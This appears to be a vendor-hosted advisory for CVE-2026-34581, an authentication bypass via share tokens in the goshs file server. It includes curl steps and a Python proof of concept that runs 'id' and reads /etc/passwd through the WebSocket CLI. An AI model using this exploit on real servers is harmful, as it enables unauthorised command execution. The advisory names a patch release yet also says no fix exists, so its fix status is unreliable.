Summary
When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.
Details
The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters, including ?ws (WebSocket) which has higher priority than ?token.
// middleware.go:22-30, token check runs FIRST
token := r.URL.Query().Get("token")
if token != "" {
_, ok := fs.SharedLinks[token]
if ok {
next.ServeHTTP(w, r) // Full auth bypass
return
}
}
// ... normal auth checks never reached
A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything, directory listing, file deletion, clipboard, WebSocket, and CLI command execution.
1. Create a webroot:
mkdir -p /tmp/goshs-webroot
echo "shareable file" > /tmp/goshs-webroot/shareable.txt
2. Start goshs with auth + TLS + CLI mode:
/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000
CLI mode requires auth (-b) and TLS (-s -ss). This is the documented usage, not a weakened config.
3. Verify authentication is required:
curl -sk https://localhost:8000/
Not authorized
4. As a legitimate user, create a share link:
curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'
Response:
{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}
Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).
5. Prove the token bypasses auth for WebSocket:
# Without token → 401 (blocked)
curl -sk -o /dev/null -w "%{http_code}" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
'https://localhost:8000/?ws'
# 401
# With token → 101 Switching Protocols (auth bypassed!)
curl -sk -o /dev/null -w "%{http_code}" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'
# 101
For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.
PoC
import json, ssl, websocket
TOKEN = "gMP-w0hXRs-Q-FEZku63kA" # ← replace with your token
ws = websocket.create_connection(
f"wss://localhost:8000/?ws&token={TOKEN}",
sslopt={"cert_reqs": ssl.CERT_NONE},
)
print("[+] Connected WITHOUT credentials!")
# Execute 'id'
ws.send('{"type":"command","Content":"id"}')
import time; time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
# uid=501(youruser) gid=20(staff) ...
# Execute 'cat /etc/passwd'
ws.send('{"type":"command","Content":"cat /etc/passwd"}')
time.sleep(1)
resp = json.loads(ws.recv())
print(f"Output: {resp['content']}")
ws.close()
A patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.
Impact
CVE-2026-34581 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-34581? CVE-2026-34581 is a high-severity security vulnerability in github.com/patrickhener/goshs (go), affecting versions >= 1.1.0. No fixed version is listed yet.
- How severe is CVE-2026-34581? CVE-2026-34581 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/patrickhener/goshs are affected by CVE-2026-34581? github.com/patrickhener/goshs (go) versions >= 1.1.0 is affected.
- Is there a fix for CVE-2026-34581? No fixed version is listed for CVE-2026-34581 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-34581 exploitable, and should I be worried? Whether CVE-2026-34581 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34581 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.